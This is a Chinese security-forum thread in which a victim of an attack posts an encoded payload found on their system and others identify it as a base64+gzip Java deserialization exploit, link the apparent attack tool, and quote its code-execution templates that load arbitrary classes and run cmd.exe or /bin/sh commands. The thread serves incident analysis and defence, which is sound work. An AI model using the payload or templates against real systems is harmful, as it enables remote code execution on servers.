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[求助]求大佬帮忙解密成正常字符串
2023-9-7 17:37 3061

[求助]求大佬帮忙解密成正常字符串

2023-9-7 17:37
3061

被黑客攻击了,发现了一段内容,不知道如何解析成正常可以读懂的字符串

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


[培训]科锐逆向工程师培训 48期预科班将于 2023年10月13日 正式开班

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最新回复 (10)
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oacia 1 2023-9-7 18:23
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1
base64+gzip
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微启宇 2023-9-7 19:31
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oacia base64+gzip

居然还真就是

最后于 2023-9-7 19:33 被微启宇编辑 ,原因:
上传的附件:
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EX呵呵 2023-9-7 20:04
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利用的ObjectInputStream反序列化漏洞,多半是你们业务里哪里用了ObjectInputStream然后没做过滤直接就塞进去反序列化了
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EX呵呵 2023-9-7 20:37
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找了一圈应该是用的这个工具自动攻击的,这个利用数据里有个TestEcho我搜了一圈应该是下面这个项目
https://github.dev/0x727/DropLabTools
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EX呵呵 2023-9-7 20:39
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 private final String anyCodeExecute="var codes=java.util.Base64.getDecoder().decode(\"%s\");var clazz = java.lang.Class.forName(\"java.lang.ClassLoader\");var method = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", Java.type('byte[]').class,Java.type('int').class, Java.type('int').class);method.setAccessible(true);var TestClass = method.invoke(java.lang.ClassLoader.getSystemClassLoader(),codes,0,codes.length);TestClass.newInstance();";
    private final String cmdExecuteWin="var str=\"%s\";var ss=str.split(\" \");s=[ss.length+2];s[0]='C:\\\\Windows\\\\system32\\\\cmd.exe';s[1]='/c';for(var i=0;i<ss.length;i++){s[i+2]=ss[i];}var process=java.lang.Runtime.getRuntime().exec(s);process.waitFor();";
    private final String cmdExecuteLinux="var str=\"%s\";var ss=str.split(\" \");s=[ss.length+2];s[0]='/bin/sh';s[1]='-c';for(var i=0;i<ss.length;i++){s[i+2]=ss[i];}var process=java.lang.Runtime.getRuntime().exec(s);process.waitFor();";
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疯帅 2023-9-18 11:52
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微启宇 oacia base64+gzip 居然还真就是
我打开这个decode 文件,还有一些 NUL、BEL  啥的乱七八糟的字符,这个是啥意思啊
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疯帅 2023-9-18 12:01
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EX呵呵 利用的ObjectInputStream反序列化漏洞,多半是你们业务里哪里用了ObjectInputStream然后没做过滤直接就塞进去反序列化了
我顺着思路再看看
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疯帅 2023-9-18 12:06
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EX呵呵 利用的ObjectInputStream反序列化漏洞,多半是你们业务里哪里用了ObjectInputStream然后没做过滤直接就塞进去反序列化了
应该是这个漏洞:“https://github.com/ibaiw/2023Hvv/blob/main/%E5%B8%86%E8%BD%AFchannel%E5%BA%8F%E5%88%97%E5%8C%96.md”
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微启宇 2023-9-18 20:24
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疯帅 我打开这个decode 文件,还有一些 NUL、BEL 啥的乱七八糟的字符,这个是啥意思啊
~ file decode 
decode: Java serialization data, version 5

这个文件是java序列化数据。
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疯帅 2023-9-20 17:40
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微启宇 ~ file decode decode: Java serialization data, version 5 这个文件是java序列化数据。
这样啊,那估计是什么工具默认生成的。
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